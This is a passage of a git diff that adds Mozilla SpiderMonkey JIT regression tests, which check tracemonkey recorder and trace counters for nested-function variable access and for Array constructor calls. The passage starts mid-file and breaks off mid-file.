+ const reference = "[[2, 6], [3, 17], [4, 6], [5, 1], [50, 1], [5, 1], [4, 6], [3, 17], [2, 10], [3, 17], [4, 6], [5, 1], [6, 1], [50, 1], [6, 1], [5, 1], [4, 6], [3, 17], [2, 8], [3, 17], [4, 6], [5, 2], [6, 1], [50, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 6], [3, 17], [4, 6], [5, 2], [6, 1], [7, 1], [50, 1], [7, 1], [6, 1], [5, 2], [4, 6], [3, 17], [2, 4], [3, 17], [4, 7], [5, 2], [6, 1], [8, 1], [50, 1], [8, 1], [6, 1], [5, 2], [4, 7], [3, 17], [2, 2], [3, 17], [4, 7], [5, 3], [6, 1], [9, 1], [50, 1], [9, 1], [6, 1], [5, 3], [4, 7], [3, 17], [2, 1], [3, 16], [4, 7], [5, 3], [6, 2], [8, 1], [50, 1], [8, 1], [6, 2], [5, 3], [4, 7], [3, 32], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 31], [4, 7], [5, 3], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 30], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [50, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 28], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [10, 1], [50, 1], [10, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 26], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [11, 1], [50, 1], [11, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 25], [4, 6], [5, 3], [6, 3], [7, 1], [8, 1], [18, 1], [13, 1], [15, 1], [50, 1], [15, 1], [13, 1], [18, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 6], [3, 24], [4, 7], [5, 2], [6, 2], [7, 3], [8, 1], [10, 1], [14, 1], [50, 3], [14, 1], [10, 1], [8, 1], [7, 3], [6, 2], [5, 2], [4, 7], [3, 23], [4, 6], [5, 3], [7, 1], [8, 1], [9, 1], [8, 2], [10, 1], [11, 1], [15, 1], [50, 3], [15, 1], [11, 1], [10, 1], [8, 2], [9, 1], [8, 1], [7, 1], [5, 3], [4, 6], [3, 22], [4, 7], [5, 2], [6, 1], [7, 1], [14, 1], [16, 1], [11, 1], [10, 1], [12, 1], [20, 1], [23, 1], [46, 1], [50, 1], [46, 1], [23, 1], [20, 1], [12, 1], [10, 1], [11, 1], [16, 1], [14, 1], [7, 1], [6, 1], [5, 2], [4, 7], [3, 20], [4, 7], [5, 3], [6, 1], [7, 1], [8, 1], [10, 1], [17, 1], [16, 1], [20, 1], [50, 7], [20, 1], [16, 1], [17, 1], [10, 1], [8, 1], [7, 1], [6, 1], [5, 3], [4, 7], [3, 19], [4, 7], [5, 3], [6, 2], [7, 1], [10, 1], [21, 1], [50, 11], [21, 1], [10, 1], [7, 1], [6, 2], [5, 3], [4, 7], [3, 18], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [9, 1], [13, 1], [25, 1], [50, 9], [25, 1], [13, 1], [9, 1], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 17], [4, 7], [5, 4], [6, 1], [7, 1], [8, 1], [14, 2], [50, 11], [14, 2], [8, 1], [7, 1], [6, 1], [5, 4], [4, 7], [3, 16], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [11, 1], [36, 1], [50, 11], [36, 1], [11, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 15], [4, 7], [5, 4], [6, 2], [7, 1], [8, 1], [9, 1], [14, 1], [50, 11], [14, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 4], [4, 7], [3, 14], [4, 7], [5, 4], [6, 3], [7, 1], [8, 1], [9, 1], [12, 1], [26, 1], [50, 9], [26, 1], [12, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 4], [4, 7], [3, 13], [4, 7], [5, 4], [6, 2], [7, 2], [8, 1], [9, 1], [10, 1], [15, 1], [50, 9], [15, 1], [10, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 4], [4, 7], [3, 12], [4, 7], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [10, 1], [12, 1], [16, 1], [50, 7], [16, 1], [12, 1], [10, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 7], [3, 11], [4, 6], [5, 4], [6, 3], [7, 1], [8, 2], [9, 1], [11, 1], [12, 1], [14, 1], [17, 1], [23, 1], [34, 1], [50, 3], [34, 1], [23, 1], [17, 1], [14, 1], [12, 1], [11, 1], [9, 1], [8, 2], [7, 1], [6, 3], [5, 4], [4, 6], [3, 10], [4, 7], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [22, 1], [12, 1], [50, 1], [25, 1], [50, 11], [25, 1], [50, 1], [12, 1], [22, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 7], [3, 9], [4, 6], [5, 4], [6, 1], [7, 1], [8, 2], [9, 1], [14, 1], [50, 1], [21, 1], [50, 15], [21, 1], [50, 1], [14, 1], [9, 1], [8, 2], [7, 1], [6, 1], [5, 4], [4, 6], [3, 8], [4, 7], [5, 3], [6, 2], [9, 1], [14, 1], [13, 1], [11, 1], [13, 1], [26, 1], [50, 17], [26, 1], [13, 1], [11, 1], [13, 1], [14, 1], [9, 1], [6, 2], [5, 3], [4, 7], [3, 7], [4, 6], [5, 4], [6, 1], [7, 1], [9, 1], [49, 1], [43, 1], [50, 23], [43, 1], [49, 1], [9, 1], [7, 1], [6, 1], [5, 4], [4, 6], [3, 7], [4, 5], [5, 4], [6, 2], [7, 1], [9, 1], [13, 1], [50, 25], [13, 1], [9, 1], [7, 1], [6, 2], [5, 4], [4, 5], [3, 6], [4, 6], [5, 3], [6, 2], [7, 2], [9, 1], [11, 1], [17, 1], [50, 23], [17, 1], [11, 1], [9, 1], [7, 2], [6, 2], [5, 3], [4, 6], [3, 5], [4, 5], [5, 3], [6, 3], [7, 1], [8, 1], [9, 1], [50, 1], [26, 1], [50, 23], [26, 1], [50, 1], [9, 1], [8, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 5], [4, 4], [5, 3], [6, 3], [7, 1], [8, 2], [10, 1], [21, 1], [50, 25], [21, 1], [10, 1], [8, 2], [7, 1], [6, 3], [5, 3], [4, 4], [3, 5], [4, 4], [5, 2], [6, 3], [7, 1], [12, 1], [9, 1], [10, 1], [11, 1], [50, 27], [11, 1], [10, 1], [9, 1], [12, 1], [7, 1], [6, 3], [5, 2], [4, 4], [3, 5], [4, 3], [5, 2], [6, 2], [7, 2], [9, 1], [42, 1], [15, 1], [23, 1], [14, 1], [50, 27], [14, 1], [23, 1], [15, 1], [42, 1], [9, 1], [7, 2], [6, 2], [5, 2], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [20, 1], [9, 1], [8, 1], [9, 1], [10, 1], [16, 1], [50, 33], [16, 1], [10, 1], [9, 1], [8, 1], [9, 1], [20, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 1], [6, 1], [9, 1], [13, 1], [12, 1], [11, 1], [38, 1], [25, 1], [50, 33], [25, 1], [38, 1], [11, 1], [12, 1], [13, 1], [9, 1], [6, 1], [5, 1], [4, 3], [3, 5], [4, 3], [5, 2], [6, 1], [7, 1], [10, 1], [24, 1], [25, 1], [50, 35], [25, 1], [24, 1], [10, 1], [7, 1], [6, 1], [5, 2], [4, 3], [3, 5], [4, 4], [5, 1], [6, 1], [7, 1], [11, 2], [13, 1], [19, 1], [50, 33], [19, 1], [13, 1], [11, 2], [7, 1], [6, 1], [5, 1], [4, 4], [3, 5], [4, 4], [5, 2], [6, 1], [50, 1], [8, 2], [17, 1], [19, 1], [35, 1], [14, 1], [24, 1], [50, 25], [24, 1], [14, 1], [35, 1], [19, 1], [17, 1], [8, 2], [50, 1], [6, 1], [5, 2], [4, 4], [3, 5], [4, 5], [5, 2], [6, 2], [7, 1], [8, 1], [9, 2], [11, 1], [38, 1], [50, 25], [38, 1], [11, 1], [9, 2], [8, 1], [7, 1], [6, 2], [5, 2], [4, 5], [3, 6], [4, 4], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [15, 1], [50, 25], [15, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 4], [3, 7], [4, 5], [5, 3], [6, 3], [7, 1], [9, 1], [42, 1], [21, 1], [50, 23], [21, 1], [42, 1], [9, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 8], [4, 5], [5, 3], [6, 2], [7, 1], [8, 1], [9, 1], [13, 1], [50, 23], [13, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 5], [3, 9], [4, 6], [5, 3], [6, 2], [7, 1], [9, 1], [14, 1], [50, 23], [14, 1], [9, 1], [7, 1], [6, 2], [5, 3], [4, 6], [3, 10], [4, 6], [5, 3], [6, 1], [7, 1], [9, 1], [16, 1], [50, 2], [35, 1], [50, 8], [13, 1], [50, 8], [35, 1], [50, 2], [16, 1], [9, 1], [7, 1], [6, 1], [5, 3], [4, 6], [3, 12], [4, 6], [5, 2], [6, 1], [19, 1], [16, 1], [17, 1], [25, 1], [21, 1], [13, 1], [18, 1], [50, 6], [11, 1], [9, 1], [11, 1], [50, 6], [18, 1], [13, 1], [21, 1], [25, 1], [17, 1], [16, 1], [19, 1], [6, 1], [5, 2], [4, 6], [3, 14], [4, 5], [5, 3], [6, 1], [8, 1], [16, 1], [10, 1], [8, 2], [11, 1], [50, 1], [16, 1], [15, 1], [32, 1], [29, 1], [9, 1], [8, 1], [7, 1], [8, 1], [9, 1], [29, 1], [32, 1], [15, 1], [16, 1], [50, 1], [11, 1], [8, 2], [10, 1], [16, 1], [8, 1], [6, 1], [5, 3], [4, 5], [3, 15], [4, 6], [5, 3], [6, 4], [7, 1], [20, 1], [19, 1], [9, 3], [7, 3], [6, 1], [7, 3], [9, 3], [19, 1], [20, 1], [7, 1], [6, 4], [5, 3], [4, 6], [3, 16], [4, 7], [5, 4], [6, 3], [7, 1], [6, 13], [7, 1], [6, 3], [5, 4], [4, 7], [3, 18], [4, 7], [5, 27], [4, 7], [3, 20], [4, 9], [5, 21], [4, 9], [3, 23], [4, 12], [5, 11], [4, 12], [3, 26], [4, 33], [3, 29], [4, 29], [3, 33], [4, 25], [3, 38], [4, 19], [3, 20], [2, 1], [3, 26], [4, 7], [3, 26], [2, 2], [3, 57], [2, 1]]";
+ reportCompare(reference, output.toSource(), summary + ': correctness jit=' + trace);
+ return (Date.now() - start);
+}
+
+
+var timenonjit = f(false);
+var timejit = f(true);
+
+expect = true;
+actual = timejit < timenonjit;
+
+print('time nonjit: ' + timenonjit + ', time jit: ' + timejit);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8_1/jit/regress-458838.js b/js/src/tests/js1_8_1/jit/regress-458838.js
new file mode 100644
index 000000000..b8b19f2d4
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-458838.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458838;
+var summary = 'TM: do not fall off trace when nested function accesses var of outer function';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ var a = 1;
+ function g() {
+ var b = 0
+ for (var i = 0; i < 10; ++i) {
+ b += a;
+ }
+ return b;
+ }
+
+ return g();
+ }
+
+ expect = 10;
+ actual = f();
+
+ var recorderStarted;
+ var recorderAborted;
+ var traceCompleted;
+ var skip = true;
+
+ if (this.tracemonkey && !this.tracemonkey.adaptive)
+ {
+ recorderStarted = this.tracemonkey.recorderStarted;
+ recorderAborted = this.tracemonkey.recorderAborted;
+ traceCompleted = this.tracemonkey.traceCompleted;
+ skip = false;
+ }
+
+
+ reportCompare(expect, actual, summary + ': return value 10');
+
+ if (!skip)
+ {
+ expect = 'recorderStarted=1, recorderAborted=0, traceCompleted=1';
+ actual = 'recorderStarted=' + recorderStarted + ', recorderAborted=' + recorderAborted + ', traceCompleted=' + traceCompleted;
+ reportCompare(expect, actual, summary + ': trace');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-01.js b/js/src/tests/js1_8_1/jit/regress-462459-01.js
new file mode 100644
index 000000000..97c8a055d
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-01.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace Array()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ Array();
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-02.js b/js/src/tests/js1_8_1/jit/regress-462459-02.js
new file mode 100644
index 000000000..a1836af61
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-02.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace Array(1)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ Array(1);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-03.js b/js/src/tests/js1_8_1/jit/regress-462459-03.js
new file mode 100644
index 000000000..a6b55e301
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-03.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace Array(1, 2)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ Array(1, 2);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-04.js b/js/src/tests/js1_8_1/jit/regress-462459-04.js
new file mode 100644
index 000000000..28e0a02e7
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-04.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace Array(1, 2, 3)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ Array(1, 2, 3);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-05.js b/js/src/tests/js1_8_1/jit/regress-462459-05.js
new file mode 100644
index 000000000..7f8e5539c
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-05.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace new Array()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ new Array();
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-06.js b/js/src/tests/js1_8_1/jit/regress-462459-06.js
new file mode 100644
index 000000000..a43dc0de0
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-06.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace new Array(1)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ new Array(1);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-07.js b/js/src/tests/js1_8_1/jit/regress-462459-07.js
new file mode 100644
index 000000000..c1349c696
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-07.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace new Array(1, 2)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ new Array(1, 2);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-08.js b/js/src/tests/js1_8_1/jit/regress-462459-08.js
new file mode 100644
index 000000000..4d3431495
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-08.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace new Array(1, 2, 3)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ new Array(1, 2, 3);
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-09.js b/js/src/tests/js1_8_1/jit/regress-462459-09.js
new file mode 100644
index 000000000..40c3c7961
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-09.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace []';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ [];
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
